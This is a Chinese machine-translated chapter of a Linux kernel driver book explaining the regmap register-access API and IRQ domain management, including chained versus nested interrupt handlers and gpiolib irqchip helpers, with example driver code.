`reg_defaults`是类型为`reg_default`的元素数组,其中每个元素都是一对`{reg, value}`,表示给定寄存器的上电复位值。 它与高速缓存一起使用,以便读取此阵列中存在且自上电重置以来未写入的地址将返回此阵列中的默认寄存器值,而不会在设备上执行任何读取事务。 IIO 设备驱动就是一个这样的例子,您可以在[https://elixir.bootlin.com/linux/v4.19/source/drivers/iio/light/apds9960.c](https://elixir.bootlin.com/linux/v4.19/source/drivers/iio/light/apds9960.c)上找到有关它的更多信息。 -* `use_single_rw`:这是一个布尔值,如果设置,将指示 regmap 将设备上的任何批量写入或读取操作转换为一系列单个写入或读取操作。 这对于不支持批量读取和/或写入操作的设备很有用。 -* `can_multi_write`:这仅针对写入操作。 如果设置,则表示该设备支持批量写入操作的多写模式。 如果为空,则多写请求将被拆分为单独的写操作。 -* `num_reg_defaults`:这是`reg_defaults`中的元素数。 -* `read_flag_mask`:这是执行读取时在寄存器的最高字节中设置的掩码。 通常,在 SPI 或 I2C 中,写入或读取将在最高字节中设置最高位,以区分写入和读取操作。 -* `write_flag_mask`:这是执行写入时要在寄存器的最高字节中设置的掩码。 -* `cache_type`:这是实际的缓存类型,可以是`REGCACHE_NONE`、`REGCACHE_RBTREE`、`REGCACHE_COMPRESSED`或`REGCACHE_FLAT`。 - -初始化 regmap 非常简单,只需根据设备所在的总线调用以下函数之一: - -```sh -struct regmap * devm_regmap_init_i2c( -                    struct i2c_client *client, -                    struct regmap_config *config) -struct regmap * devm_regmap_init_spi( -                    struct spi_device *spi, -                    const struct regmap_config); -struct regmap * devm_regmap_init_mmio( -                    struct device *dev, -                    void __iomem *regs, -                    const struct regmap_config *config) -#define devm_regmap_init_spmi_base(dev, config) \ -    __regmap_lockdep_wrapper(__devm_regmap_init_spmi_base, \ -                             #config, dev, config) -#define devm_regmap_init_w1(w1_dev, config) \ -    __regmap_lockdep_wrapper(__devm_regmap_init_w1, #config, \ -                             w1_dev, config) -``` - -在前面的原型中,如果出现错误,返回值将是指向`struct regmap`或`ERR_PTR()`的有效指针。 设备管理代码将自动释放 regmap。 `regs`是指向内存映射 IO 区域的指针(由`devm_ioremap_resource()`或任何`ioremap*`系列函数返回)。 `dev`是将与交互的设备(类型为`struct device`)。 以下示例摘录了内核源代码中的`drivers/mfd/sun4i-gpadc.c`: - -```sh -struct sun4i_gpadc_dev { -    struct device *dev; -    struct regmap *regmap; -    struct regmap_irq_chip_data *regmap_irqc; -    void __iomem *base; -}; -static const struct regmap_config sun4i_gpadc_regmap_config = { -    .reg_bits = 32, -    .val_bits = 32, -    .reg_stride = 4, -    .fast_io = true, -}; -static int sun4i_gpadc_probe(struct platform_device *pdev) -{ -    struct sun4i_gpadc_dev *dev; -    struct resource *mem; -    [...] -    mem = platform_get_resource(pdev, IORESOURCE_MEM, 0); -    dev->base = devm_ioremap_resource(&pdev->dev, mem); -    if (IS_ERR(dev->base)) -        return PTR_ERR(dev->base); -    dev->dev = &pdev->dev; -    dev_set_drvdata(dev->dev, dev); -    dev->regmap = devm_regmap_init_mmio(dev->dev, dev->base, -                                   &sun4i_gpadc_regmap_config); -    if (IS_ERR(dev->regmap)) { -       ret = PTR_ERR(dev->regmap); -       dev_err(&pdev->dev, "failed to init regmap: %d\n", ret); -       return ret; -    } -    [...] -``` - -此摘录显示了如何创建 regmap。 虽然这段摘录是面向 MMIO 的,但是的概念对于其他类型是相同的。 对于基于 SPI 或 I2C 的 regmap,我们将分别使用`devm_regmap_init_spi()`或`devm_regmap_init_i2c()`,而不是使用`devm_regmap_init_MMIO()`。 - -## 访问设备寄存器 - -访问设备寄存器有两个主要函数。 它们是`regmap_write()`和`regmap_read()`,它们负责锁定和抽象底层总线: - -```sh -int regmap_write(struct regmap *map, -                 unsigned int reg, -                 unsigned int val); -int regmap_read(struct regmap *map, -                unsigned int reg, -                unsigned int *val); -``` - -在前面两个函数中,第一个参数`map`是初始化期间返回的 regmap 结构。 `reg`是写入/读取数据的寄存器地址。 `val`是写入操作中要写入的数据,或者是读取操作中的读取值。 以下是这些接口的详细说明: - -* `regmap_write` is used to write data to the device. The following are the steps performed by this function: - - 1)首先,检查`reg`是否与`regmap_config.reg_stride`对齐。 如果不是,则返回`-EINVAL`,函数失败。 - - 2)然后根据`fast_io`、`lock`和`unlock`字段获取锁。 如果提供了`lock`回调,它将用于获取锁。 否则,regmap 内核将使用其内部默认锁定函数,根据是否设置了`fast_io`而使用自旋锁或互斥体。 接下来,regmap 内核对传递的寄存器地址执行一些健全性检查,如下所示: - - --如果设置了`max_register`,它将检查该寄存器的地址是否小于`max_register`。 如果地址不小于`max_register`,则`regmap_write()`失败,返回`-EIO`(无效 I/O)错误代码 - - --然后,如果设置了`writeable_reg`回调,则使用寄存器作为参数调用该回调。 如果此回调返回`false`,则`regmap_write()`失败,返回`-EIO`。 如果未设置`writeable_reg`但设置了`wr_table`,则 regmap 内核将检查寄存器地址是否位于`no_range`内。 如果是,则`regmap_write()`失败并返回`-EIO`。 如果没有,regmap 内核将检查寄存器地址是否位于`yes_range`中。 如果不存在,则`regmap_write()`失败并返回`-EIO`。 - - 3)如果设置了`cache_type`字段,则使用缓存。 要写入的值将缓存以供将来参考,而不是写入硬件。 - - 4)如果未设置`cache_type`,则立即调用写入例程将值写入硬件寄存器。 在将值写入该寄存器之前,该例程将首先将`write_flag_mask`应用于寄存器地址的第一个字节。 - - 5)最后,使用适当的解锁功能解锁。 - -* `regmap_read`用于从设备读取数据。 此函数执行与`regmap_write()`相同的安全和健全性检查,但将`writable_reg`和`wr_table`替换为`readable_reg`和`rd_table`。 在缓存方面,如果启用了缓存,则会从缓存中读取寄存器值。 如果未启用缓存,则调用读取例程从硬件寄存器读取值。 该例程将在读取操作之前将`read_flag_mask`应用于寄存器地址的最高字节,并使用读取的新值更新`*val`。 在此之后,使用适当的解锁功能释放锁。 - -虽然前面的访问器一次只针对一个寄存器,但其他访问器可以执行批量访问,我们将在下一节中看到这一点。 - -### 一次读取/写入多个寄存器 - -有时您可能希望同时对寄存器范围执行批量读/写数据操作。 即使在循环中使用`regmap_read()`或`regmap_write()`,最好的解决方案也是使用为此类情况提供的 regmap API。 这些函数是`regmap_bulk_read()`和`regmap_bulk_write()`: - -```sh -int regmap_bulk_read(struct regmap *map, unsigned int reg, -                     void *val, size_tval_count); -int regmap_bulk_write(struct regmap *map, unsigned int reg, -                      const void *val, size_t val_count) -``` - -这些函数从器件读取多个寄存器/向器件写入多个寄存器。 `map`是用于执行操作的 regmap。 对于读操作,`reg`是应开始读取的第一个寄存器,`val`是指向缓冲器的指针,读取值应存储在设备的*本机寄存器大小*中(这意味着如果设备寄存器大小为 4 字节,则读取值将以 4 字节为单位存储),`val_count`是要读取的寄存器数。 对于写入操作,`reg`是要写入的第一个寄存器,`val`是指向要写入器件的*本机寄存器大小*的数据块的指针,`val_count`是要写入的寄存器数。 对于这两个函数,成功时将返回值`0`,如果出现错误,将返回负`errno`。 - -给小费 / 翻倒 / 倾覆 - -该框架还提供了其他有趣的读/写函数。 有关更多信息,请查看内核头文件。 一个有趣的例子是`regmap_multi_reg_write()`,它将一组{寄存器,值}对中的多个寄存器写入作为参数给出的设备,这些寄存器对以任何顺序提供,可能不是全部在一个范围内。 - -既然我们已经熟悉了寄存器访问,我们就可以通过在位级别管理寄存器内容来更进一步。 - -### 更新寄存器中的位 - -为了更新给定寄存器中的位,我们有一个三合一函数`regmap_update_bits()`。 它的原型如下: - -```sh -int regmap_update_bits(struct regmap *map, unsigned int reg, -                       unsigned int mask, unsigned int val) -``` - -它在寄存器映射上执行读/修改/写周期。 它是`_regmap_update_bits()`的包装器,如下所示: - -```sh -static int _regmap_update_bits( -                struct regmap *map, unsigned int reg, -                unsigned int mask, unsigned int val, -                bool *change, bool force_write) -{ -    int ret; -    unsigned int tmp, orig; -    if (change) -        *change = false; -    if (regmap_volatile(map, reg) && map->reg_update_bits) { -        ret = map->reg_update_bits(map->bus_context, -                                    reg, mask, val); -        if (ret == 0 && change) -            *change = true; -    } else { -        ret = _regmap_read(map, reg, &orig); -        if (ret != 0) -            return ret; -        tmp = orig & ~mask; -        tmp |= val & mask; -        if (force_write || (tmp != orig)) { -            ret = _regmap_write(map, reg, tmp); -            if (ret == 0 && change) -                *change = true; -        } -    } -    return ret; -} -``` - -需要更新的位应在`mask`中设置为`1`,相应的位将被赋予`val`中相同位置的位的值。 例如,要将第一位(`BIT(0)`)和第三位(`BIT(2)`)设置为`1`,`mask`应为`0b00000101`,值应为`0bxxxxx1x1`。 要清除第七位(`BIT(6)`),`mask`必须为`0b01000000`,值应为`0bx0xxxxxx`,依此类推。 - -给小费 / 翻倒 / 倾覆 - -出于调试目的,您可以使用`debugfs`文件系统转储 regmap 托管寄存器的内容,如以下摘录所示: - -#mount-t debugfs none/sys/kernel/debug - -#cat/sys/kernel/debug/regmap/1-0008/registers - -这将以``格式转储寄存器地址及其值。 - -在本节中,我们已经看到了访问硬件寄存器是多么容易。 此外,我们还学习了在位级操作寄存器的一些花哨技巧,这些寄存器通常用于状态寄存器和配置寄存器。 接下来,我们来看看 IRQ 管理。 - -Regmap 和 IRQ 管理 - -Regmap 不仅抽象访问寄存器。 在这里,我们将看到该框架如何在较低级别抽象 IRQ 管理,例如 IRQ 芯片处理,从而隐藏样板操作。 - -## Linux 内核 IRQ 管理快速概述 - -IRQ 通过称为中断控制器的特殊设备暴露给设备。 从软件的角度来看,中断控制器设备驱动管理并使用虚拟 IRQ 概念(在 Linux 内核中称为 IRQ 域)公开这些行。 中断管理建立在以下结构之上: - -* `struct irq_chip`:这个结构是 IRQ 控制器的 Linux 表示,它实现了一组方法来驱动中断控制器,这些方法由核心 IRQ 代码直接调用。 如有必要,此结构应由驱动填充,提供一组回调,允许我们管理 IRQ 芯片上的 IRQ,例如`irq_startup`、`irq_shutdown`、`irq_enable`、`irq_disable`、`irq_ack`、`irq_mask`、`irq_unmask`、`irq_eoi`和`irq_set_affinity`。 哑巴 IRQ 芯片设备(例如,不允许 IRQ 管理的芯片)应该使用内核提供的`dummy_irq_chip`。 -* `struct irq_domain`: Each interrupt controller is given a domain, which is for the controller what the address space is for a process. The `struct irq_domain` structure stores mappings between hardware IRQs and Linux IRQs (that is, virtual IRQs, or virq). It is the hardware interrupt number translation object. This structure provides the following: - - --指向给定中断控制器的固件节点的指针(`fwnode`)。 - - --一种将 IRQ 的固件(设备树)描述转换为中断控制器本地 ID(**硬件 IRQ**号,称为**hwirq**)的方法。 对于同时充当 IRQ 控制器的 GPIO 芯片,给定 GPIO 线路的硬件 IRQ 号(Hwirq)大多数时候对应于该线路在芯片中的本地索引。 - - --从 hwirq 检索 IRQ 的 Linux 视图的方法。 - -* `struct irq_desc`:此结构是中断的 Linux 内核视图,包含所有核心内容以及到 Linux 中断号的一对一映射。 -* `struct irq_action`:这是 Linux 用来描述 IRQ 处理程序的结构。 -* `struct irq_data`: This structure is embedded in the `struct irq_desc` structure, and contains the following: - - --与管理该中断的`irq_chip`相关的数据 - - --Linux IRQ 号和 hwirq - - --指向`irq_chip`的指针 - - --指向中断转换域的指针(`irq_domain`) - -请始终记住,**irq_domain 对于中断控制器而言就像地址空间对于进程一样,因为它存储 virqs 和 hwirqs**之间的映射。 - -中断控制器驱动通过调用`irq_domain_add_()`函数之一来创建并注册`irq_domain`。 这些函数实际上是`irq_domain_add_linear()`、`irq_domain_add_tree()`和`irq_domain_add_nomap()`。 实际上,``是将`hwirqs`映射到`virqs`的方法。 - -`irq_domain_add_linear()`创建按 hwirq 编号索引的固定大小的空表。 `struct irq_desc`被分配给每个被映射的 HWIRQ。 然后,所分配的 IRQ 描述符被存储在表中,其索引处等于其已被分配到的 HWIRQ。 该线性映射适用于固定和少量(小于 256)的 HWIRQ。 - -虽然这种映射的主要优点是 IRQ 号查找时间是固定的,并且`irq_desc`仅分配给正在使用的 IRQ,但主要缺点在于表的大小,它可以尽可能大到最大的`hwirq`号。 大多数司机应该使用线性地图。 此函数具有以下原型: - -```sh -struct irq_domain *irq_domain_add_linear( -                             struct device_node *of_node, -                             unsigned int size, -                             const struct irq_domain_ops *ops, -                             void *host_data) -``` - -`irq_domain_add_tree()`创建一个空的`irq_domain`,用于维护 Linux IRQ 和基数树中的`hwirq`数字之间的映射。 当映射 HWIRQ 时,分配`struct irq_desc`,并且将 HWIRQ 用作基数树的查找关键字。 如果 hwirq 数非常大,则树映射是一个很好的选择,因为它不需要分配与最大 hwirq 数一样大的表。 缺点是`hwirq-to-IRQ`号查找取决于表中有多少条目。 很少有驱动应该需要此映射。 它有以下原型: - -```sh -struct irq_domain *irq_domain_add_tree( -                       struct device_node *of_node, -                       const struct irq_domain_ops *ops, -                       void *host_data) -``` - -`irq_domain_add_nomap()`是您可能永远不会用到的东西;但是,在内核源代码树中的`Documentation/IRQ-domain.txt`中可以找到它的完整描述。 它的原型如下: - -```sh -struct irq_domain *irq_domain_add_nomap( -                              struct device_node *of_node, -                              unsigned int max_irq, -                              const struct irq_domain_ops *ops, -                              void *host_data) -``` - -在所有这些原型中,`of_node`是指向中断控制器的 DT 节点的指针。 `size`表示线性映射情况下域中的中断数。 `ops`表示映射/取消映射域回调,`host_data`是控制器的私有数据指针。 由于这三个函数都创建空的`irq`域,因此您应该使用`irq_create_mapping()`函数,并将 hwirq 和指向`irq`域的指针传递给它,以创建映射,并将此映射插入域中: - -```sh -unsigned int irq_create_mapping(struct irq_domain *domain, -                                irq_hw_number_t hwirq) -``` - -在前面的原型中,`domain`是该硬件中断所属的域。 `NULL`值表示默认域。 `hwirq`是需要为其创建映射的硬件 IRQ 编号。 此函数将硬件中断映射到 Linux IRQ 空间,并返回 Linux IRQ 编号。 此外,请记住,每个硬件中断只允许一个映射。 以下是创建映射的示例: - -```sh -unsigned int virq = 0; -virq = irq_create_mapping(irq_domain, hwirq); -if (!virq) { -    ret = -EINVAL; -    goto err_irq; -} -``` - -在前面的代码中,`virq`是与映射对应的 Linux 内核 IRQ(**虚拟 IRQ 号**,**virq**)。 - -重要音符 - -为同时也是中断控制器的 GPIO 控制器编写驱动时,会从`gpio_chip.to_irq()`回调中调用`irq_create_mapping()`,并将 virq 返回为`return irq_create_mapping(gpiochip->irq_domain, hwirq)`,其中`hwirq`是 GPIO 芯片的 GPIO 偏移量。 - -一些驱动更喜欢在`probe()`函数中预先创建映射并填充每个 hwirq 的域,如下所示: - -```sh -for (j = 0; j < gpiochip->chip.ngpio; j++) { -    irq = irq_create_mapping(gpiochip ->irq_domain, j); -} -``` - -在此之后,这样的驱动只需将`irq_find_mapping()`(给定 hwirq)调用到`to_irq()`回调函数中。 如果给定的`hwirq`没有映射,`irq_create_mapping()`将分配一个新的`struct irq_desc`结构,将其与 hwirq 关联,并调用`irq_domain_ops.map()`回调(通过使用`irq_domain_associate()`函数),以便驱动可以执行任何所需的硬件设置。 - -### Irq_domain_ops 结构 - -此结构向 IRQ 域公开了一些特定于的回调。 当在给定的 IRQ 域中创建映射时,每个映射(实际上是每个`irq_desc`)都应该被赋予一个 IRQ 配置、一些私有数据和一个转换函数(给定一个设备树节点和一个中断说明符,转换函数解码硬件 IRQ 编号和 Linux IRQ 类型值)。 此结构中的回调功能如下: - -```sh -struct irq_domain_ops { -    int (*map)(struct irq_domain *d, unsigned int virq, -               irq_hw_number_t hw); -    void (*unmap)(struct irq_domain *d, unsigned int virq); -   int (*xlate)(struct irq_domain *d, struct device_node *node, -                const u32 *intspec, unsigned int intsize, -                unsigned long *out_hwirq,                 unsigned int *out_type); -}; -``` - -前面数据结构中元素的每个 Linux 内核 IRQ 管理都应该有一节来描述。 - -#### Irq_domain_ops.map() - -下面的是该回调的原型: - -```sh -int (*map)(struct irq_domain *d, unsigned int virq, -            irq_hw_number_t hw); -``` - -在描述此函数的功能之前,让我们先描述一下它的参数: - -* `d`:此 IRQ 芯片使用的 IRQ 域 -* `virq`:此基于 GPIO 的 IRQ 芯片使用的全局 IRQ 号 -* `hw`:此 GPIO 芯片上的本地 IRQ/GPIO 线路偏移量 - -`.map()`创建或更新 virq 和 hwirq 之间的映射。 此回调设置 IRQ 配置。 对于给定的映射,它只被调用一次(内部由 IRQ 内核调用)。 这是我们为给定 IRQ 设置`irq`芯片数据的地方,这可以使用`irq_set_chip_data()`来完成,它具有以下原型: - -```sh -int irq_set_chip_data(unsigned int irq, void *data); -``` - -根据 IRQ 芯片的类型(嵌套或链接),可以执行其他操作。 - -#### Irq_domain_ops.xlate() - -给定一个 dt 节点和一个中断说明符,此回调解码硬件 IRQ 编号及其 Linux IRQ 类型值。 根据 DT 控制器节点中指定的`#interrupt-cells`属性,内核提供通用转换函数: - -* `irq_domain_xlate_twocell()`:此通用翻译函数用于直接两个单元格绑定。 DT IRQ 说明符使用两个单元格绑定,其中单元格值直接映射到`hwirq`数字和 Linux IRQ 标志。 -* `irq_domain_xlate_onecell()`:这是用于直接单元格绑定的通用`xlate`函数。 -* `irq_domain_xlate_onetwocell()`:这是一个用于一个或两个单元格绑定的泛型`xlate`函数。 - -域操作的示例如下: - -```sh -static struct irq_domain_ops mcp23016_irq_domain_ops = { -    .map = my_irq_domain_map, -    .xlate = irq_domain_xlate_twocell, -}; -``` - -前述数据结构的独特的特征是分配给`.xlate`元素的值,即`irq_domain_xlate_twocell`。 这意味着我们在设备树中期待一个由两个单元格组成的`irq`说明符,其中第一个单元格将指定`irq`,第二个单元格将指定其标志。 - -### 链接 IRQ - -当中断发生时,可以使用`irq_find_mapping()`帮助器函数从 hwirq 号中查找 Linux IRQ 号。 例如,该 HWIRQ 号可以是一组 GPIO 控制器中的 GPIO 偏移量。 一旦找到并返回了有效的 virq,您就应该在这个`virq`上调用`handle_nested_irq()`或`generic_handle_irq()`。 魔力来自前两个函数,它们管理`irq`流处理程序,这意味着有两种方法可以处理中断处理程序。 硬中断处理程序或**链式中断**是原子的,在禁用 IRQ 的情况下运行,可以调度线程处理程序;还有称为**嵌套中断**的简单线程中断处理程序,它可能会被其他中断中断。 - -#### 链式中断 - -此方法用于可能不会休眠的控制器,例如 SoC 的内部 GPIO 控制器,该控制器是内存映射的,其访问不会休眠。 *链式*意味着这些中断只是函数调用链(例如,SoC 的 GPIO 控制器中断处理程序是从 GIC 中断处理程序内部调用的,就像函数调用一样)。 通过这种方法,可以在父 hwirq 处理程序内部调用子 IRQ 处理程序。 这里必须使用`generic_handle_irq()`在父 hwirq 处理程序内链接子 IRQ 处理程序。 即使从子中断处理程序内部,我们仍然处于原子上下文(硬件中断)中。 您不能调用可能休眠的函数。 - -对于链式(且仅链式)IRQ 芯片,`irq_domain_ops.map()`也是使用`irq_set_chip_and_handler()`将高级`irq-type`流处理程序分配给给定 IRQ 的合适位置,因此此高级代码将在调用相应的 IRQ 处理程序之前执行一些黑客操作,具体取决于它是什么。 多亏了`irq_set_chip_and_handler()`函数,魔术在这里发挥作用: - -```sh -void irq_set_chip_and_handler(unsigned int irq, -                              struct irq_chip *chip, -                              irq_flow_handler_t handle) -``` - -在前面的原型中,`irq`表示 Linux IRQ(`virq`),作为`irq_domain_ops.map()`函数的参数给出;`chip`是您的`irq_chip`结构;`handle`是您的高级中断流处理程序。 - -重要音符 - -有些控制器非常愚蠢,在它们的`irq_chip`结构中几乎不需要任何东西。 在这种情况下,您应该将`dummy_irq_chip`传递给`irq_set_chip_and_handler()`。 `dummy_irq_chip`在`kernel/irq/dummychip.c`中定义。 - -下面的代码流总结了`irq_set_chip_and_handler()`的功能: - -```sh -void irq_set_chip_and_handler(unsigned int irq, -                              struct irq_chip *chip, -                              irq_flow_handler_t handle) -{ -    struct irq_desc *desc = irq_get_desc(irq); -    desc->irq_data.chip = chip; -    desc->handle_irq = handle; -} -``` - -以下是泛型层提供的一些可能的高级 IRQ 流处理程序: - -```sh -/* - * Built-in IRQ handlers for various IRQ types, - * callable via desc->handle_irq() - */ -void handle_level_irq(struct irq_desc *desc); -void handle_fasteoi_irq(struct irq_desc *desc); -void handle_edge_irq(struct irq_desc *desc); -void handle_edge_eoi_irq(struct irq_desc *desc); -void handle_simple_irq(struct irq_desc *desc); -void handle_untracked_irq(struct irq_desc *desc); -void handle_percpu_irq(struct irq_desc *desc); -void handle_percpu_devid_irq(struct irq_desc *desc); -void handle_bad_irq(struct irq_desc *desc); -``` - -每个函数名都很好地描述了它处理的 IRQ 类型。 链式 IRQ 芯片的`irq_domain_ops.map()`可能如下所示: - -```sh -static int my_chained_irq_domain_map(struct irq_domain *d, -                                     unsigned int virq, -                                     irq_hw_number_t hw) -{ -    irq_set_chip_data(virq, d->host_data); -    irq_set_chip_and_handler(virq, &dummy_irq_chip,                              handle_ edge_irq); -    return 0; -} -``` - -在为链式 IRQ 芯片编写父 IRQ 处理程序时,代码应对每个子 IRQ 处理程序`irq`调用`generic_handle_irq()`。 此函数只调用`irq_desc->handle_irq()`,它指向使用`irq_set_chip_and_handler()`分配给给定子 IRQ 的高级中断处理程序。 底层的高级`irq`事件处理程序(假设是`handle_level_irq()`)将首先执行一些黑客操作,然后运行硬的`irq-handler`(`irq_desc->action->handler`),并根据返回值运行线程处理程序(`irq_desc->action->thread_fn`)(如果提供)。 - -下面是一个链式 IRQ 芯片的父 IRQ 处理程序示例,其原始代码位于内核源代码的`drivers/pinctrl/pinctrl-at91.c`中: - -```sh -static void parent_hwirq_handler(struct irq_desc *desc) -{ -    struct irq_chip *chip = irq_desc_get_chip(desc); -    struct gpio_chip *gpio_chip =     irq_desc_get_handler_ data(desc); -    struct at91_gpio_chip *at91_gpio = gpiochip_get_data                                       (gpio_ chip); -    void __iomem *pio = at91_gpio->regbase; -    unsigned long isr; -    int n; -    chained_irq_enter(chip, desc); -    for (;;) { -        /* Reading ISR acks pending (edge triggered) GPIO -         * interrupts. When there are none pending, we’re -         * finished unless we need to process multiple banks -         * (like ID_PIOCDE on sam9263). -         */ -        isr = readl_relaxed(pio + PIO_ISR) & -                           readl_relaxed(pio + PIO_IMR); -        if (!isr) { -            if (!at91_gpio->next) -                break; -            at91_gpio = at91_gpio->next; -            pio = at91_gpio->regbase; -            gpio_chip = &at91_gpio->chip; -            continue; -        } -        for_each_set_bit(n, &isr, BITS_PER_LONG) { -            generic_handle_irq( -                   irq_find_mapping(gpio_chip->irq.domain, n)); -        } -    } -    chained_irq_exit(chip, desc); -    /* now it may re-trigger */ -    [...] -} -``` - -链式 IRQ 芯片驱动器不需要使用`devm_request_threaded_irq()`或`devm_request_irq()`注册父`irq`处理程序。 当驱动在父 IRQ 上调用`irq_set_chained_handler_and_data()`时,会自动注册此处理程序,给出关联的处理程序作为参数,以及一些私有数据: - -```sh -void irq_set_chained_handler_and_data(unsigned int irq, -                                      irq_flow_handler_t                                       handle, -                                      void *data) -``` - -该函数的参数非常简单明了。 您应该在`probe`函数中调用此函数,如下所示: - -```sh -static int my_probe(struct platform_device *pdev) -{ -    int parent_irq, i; -    struct irq_domain *my_domain; -    parent_irq = platform_get_irq(pdev, 0); -    if (!parent_irq) { -     pr_err("failed to map parent interrupt %d\n", parent_irq); -        return -EINVAL; -    } -    my_domain = -        irq_domain_add_linear(np, nr_irq, &my_irq_domain_ops, -                              my_private_data); -    if (WARN_ON(!my_domain)) { -        pr_warn("%s: irq domain init failed\n", __func__); -        return; -    } -    /* This may be done elsewhere */ -    for(i = 0; i < nr_irq; i++) { -        int virqno = irq_create_mapping(my_domain, i); -         /* -          * May need to mask and clear all IRQs before           * registering a handler -          */ -           [...] -          irq_set_chained_handler_and_data(parent_irq, -                                          parent_hwirq_handler, -                                          my_private_data); -          /* -           * May need to call irq_set_chip_data() on            * the virqno too            */ -        [...] -    } -    [...] -} -``` - -在前面的假`probe`方法中,使用`irq_domain_add_linear()`创建线性域,并且使用`irq_create_mapping()`在该域中创建 IRQ 映射(虚拟 IRQ)。 最后,我们为主(或父)IRQ 设置高级链接流处理程序及其数据。 - -重要音符 - -请注意,`irq_set_chained_handler_and_data()`自动启用中断(在第一个参数中指定),分配其处理程序(也作为参数给出),并将该中断标记为`IRQ_NOREQUEST`、`IRQ_NOPROBE`或`IRQ_NOTHREAD`,这意味着该中断不能再通过`request_irq()`请求,不能通过自动探测探测,也不能被线程处理(它被链接)。 - -#### 嵌套中断 - -嵌套流方法由可能休眠的 IRQ 芯片使用,例如那些位于 I2C(例如,I2C GPIO 扩展器)的慢速总线上的 IRQ 芯片。 “嵌套”是指那些不在硬件上下文中运行的中断处理程序(它们实际上不是 hwirq,也不在原子上下文中),而是线程化的,可以被抢占。 在这里,处理程序函数在调用线程上下文中调用。 对于嵌套(且仅嵌套)IRQ 芯片,`irq_domain_ops.map()`回调也是设置`irq`配置标志的正确位置。 最重要的配置标志如下: - -* `IRQ_NESTED_THREAD`:这是一个标志,表示在`devm_request_threaded_irq()`上,不应该为 irq 处理程序创建专用中断线程,因为它被称为嵌套在多路复用中断处理程序线程的上下文中(在内核源代码的`kernel/irq/manage.c`中实现的`__setup_irq()`函数中有更多关于这方面的信息)。 您可以使用`void irq_set_nested_thread(unsigned int irq, int nest)`对该标志进行操作,其中`irq`对应于全局中断号,`nest`应为`0`以清除或`1`以设置`IRQ_NESTED_THREAD`标志。 -* `IRQ_NOTHREAD`:可以使用`void irq_set_nothread(unsigned int irq)`设置该标志。 它用于将给定的 IRQ 标记为不可线程。 - -嵌套 IRQ 芯片的`irq_domain_ops.map()`可能如下所示: - -```sh -static int my_nested_irq_domain_map(struct irq_domain *d, -                                    unsigned int virq, -                                    irq_hw_number_t hw) -{ -    irq_set_chip_data(virq, d->host_data); -    irq_set_nested_thread(virq, 1); -    irq_set_noprobe(virq); -    return 0; -} -``` - -在为嵌套的 IRQ 芯片编写父 IRQ 处理程序时,代码应该调用`handle_nested_irq()`以便处理子 IRQ 处理程序,以便它们从父 IRQ 线程运行。 `handle_nested_irq()`不关心作为硬 irq 处理程序的`irq_desc->action->handler`。 它只需运行`irq_desc->action->thread_fn`: - -```sh -static irqreturn_t mcp23016_irq(int irq, void *data) -{ -    struct mcp23016 *mcp = data; -    unsigned int child_irq, i; -    /* Do some stuff */ -    [...] -    for (i = 0; i < mcp->chip.ngpio; i++) { -        if (gpio_value_changed_and_raised_irq(i)) { -            child_irq = irq_find_mapping(mcp->chip.irqdomain,                                         i); -            handle_nested_irq(child_irq); -        } -    } -    [...] -} -``` - -嵌套 IRQ 芯片驱动器**必须使用`devm_request_threaded_irq()`注册父 IRQ 处理程序**,因为此类 IRQ 芯片没有类似`irq_set_chained_handler_and_data()`的函数。 将此 API 用于嵌套 IRQ 芯片是没有意义的。 大多数情况下,嵌套的 IRQ 芯片都是基于 GPIO 芯片的。 因此,我们最好使用基于 GPIO 芯片的 IRQ 芯片 API,或者使用基于 regmap 的 IRQ 芯片 API,如下一节所示。 不过,让我们看看这样的示例是什么样子的: - -```sh -static int my_probe(struct i2c_client *client, -                    const struct i2c_device_id *id) -{ -    int parent_irq, i; -    struct irq_domain *my_domain; -    [...] -    int irq_nr = get_number_of_needed_irqs(); -    /* Do we have an interrupt line ? Enable the IRQ chip */ -    if (client->irq) { -        domain = irq_domain_add_linear( -                        client->dev.of_node, irq_nr, -                        &my_irq_domain_ops, my_private_data); -        if (!domain) { -            dev_err(&client->dev, -                    "could not create irq domain\n"); -            return -ENODEV; -        } -        /* -         * May be creating irq mapping in this domain using -         * irq_create_mapping() or let the mfd core doing -         * this if it is an MFD chip device -         */ -        [...] -        ret = -            devm_request_threaded_irq( -                &client->dev, client->irq, -                NULL, my_parent_irq_thread, -                IRQF_TRIGGER_FALLING | IRQF_ONESHOT, -                "my-parent-irq", my_private_data); -        [...] -    } -[...] -} -``` - -在前面的方法`probe`中,与链式流有两个主要区别: - -* 首先,注册主 IRQ 的方式:链式 IRQ 芯片使用自动注册处理程序的`irq_set_chained_handler_and_data()`,而嵌套流方法必须使用`request_threaded_irq()`系列方法显式注册其处理程序。 -* 其次,主 IRQ 处理程序调用底层 IRQ 处理程序的方式:在链接的流中,在主 IRQ 处理程序中调用`handle_nested_irq()`,主 IRQ 处理程序将每个底层 IRQ 的处理程序作为函数调用链调用,这些函数调用在与主处理程序相同的上下文中执行,即原子(原子性也称为`hard-irq`)。 然而,嵌套的流处理程序必须调用`handle_nested_irq()`,它在父级的线程上下文中执行底层 irq 的处理程序`(thread_fn`)。 - -这些是链式流和嵌套流之间的主要区别。 - -### IrqChip 和 gpiolib api-新一代 - -由于每个`irq-gpiochip`驱动都对自己的`irqdomain`处理进行了开放编码,这导致了大量的冗余代码。 内核开发者决定将该代码转移到 gpiolib 框架,因此提供了`GPIOLIB_IRQCHIP`Kconfig 符号,使用户能够对 GPIO 芯片使用统一的 Irq 域管理 API。 这部分代码有助于处理 GPIO IRQ 芯片和相关的`irq_domain`和资源分配回调的管理,以及它们的设置,使用缩减的帮助器函数集。 这些是`gpiochip_irqchip_add()`或`gpiochip_irqchip_add_nested()`,以及`gpiochip_set_chained_irqchip()`或`gpiochip_set_nested_irqchip()`。 `gpiochip_irqchip_add()`或`gpiochip_irqchip_add_nested()`都将 IRQ 芯片添加到 GPIO 芯片。 以下是它们各自的原型: - -```sh -static inline int gpiochip_irqchip_add(                                    struct gpio_chip *gpiochip, -                                    struct irq_chip *irqchip, -                                    unsigned int first_irq, -                                    irq_flow_handler_t handler, -                                    unsigned int type) -static inline int gpiochip_irqchip_add_nested( -                          struct gpio_chip *gpiochip, -                          struct irq_chip *irqchip, -                          unsigned int first_irq, -                          irq_flow_handler_t handler, -                          unsigned int type) -``` - -在前面的原型中,`gpiochip`参数是要添加`irqchip`的 GPIO 芯片。 `irqchip`是要添加到 GPIO 芯片中的 IRQ 芯片,以便扩展其功能,使其也可以充当 IRQ 控制器。 此 IRQ 芯片必须由驱动或 IRQ 核心代码正确配置(如果给出`dummy_irq_chip`作为参数)。 